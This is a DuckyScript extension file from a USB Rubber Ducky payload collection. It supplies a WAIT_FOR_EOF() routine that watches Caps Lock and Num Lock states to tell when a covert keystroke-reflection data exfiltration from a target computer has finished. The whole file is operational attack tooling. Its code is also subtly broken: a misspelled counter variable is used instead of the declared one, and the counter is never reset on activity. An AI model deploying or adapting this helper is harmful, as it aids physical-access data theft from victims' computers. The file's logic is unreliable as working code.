usbrubberducky-payloads/payloads/extensions/exfil_auto_eof_detect.txt

43 lines
1.3 KiB
Plaintext

EXTENSION EXFIL_AUTO_EOF_DETECT
REM VERSION 1.1
REM AUTHOR: Korben
REM_BLOCK DOCUMENTATION
USAGE:
Call WAIT_FOR_EOF() after starting Keystroke Reflection / HID Exfil
TARGETS:
Requires reflection of at least 2 lock keys.
Intended for use on systems that dont reflect more than 2 lock keys.
END_REM
REM CONFIGURATION
DEFINE #INACTIVTY_TARGET 10
FUNCTION WAIT_FOR_EOF()
VAR $CURRENT_CAPSLOCK_STATE = $_CAPSLOCK_ON
VAR $CURRENT_NUMLOCK_STATE = $_NUMLOCK_ON
VAR $PROCESSING = TRUE
VAR $INACTIVITY_COUNT = 0
WHILE ($PROCESSING)
DELAY 20
IF($CURRENT_CAPSLOCK_STATE != $_CAPSLOCK_ON) THEN
$CURRENT_CAPSLOCK_STATE = $_CAPSLOCK_ON
$PROCESSING = TRUE
LED_G
ELSE IF($CURRENT_NUMLOCK_STATE != $_NUMLOCK_ON) THEN
$CURRENT_NUMLOCK_STATE = $_NUMLOCK_ON
$PROCESSING = TRUE
LED_R
ELSE
$INACTIVTY_COUNT = ($INACTIVTY_COUNT + 1)
IF ($INACTIVTY_COUNT >= #INACTIVTY_TARGET) THEN
$PROCESSING = FALSE
END_IF
LED_OFF
END_IF
END_WHILE
LED_G
END_FUNCTION
END_EXTENSION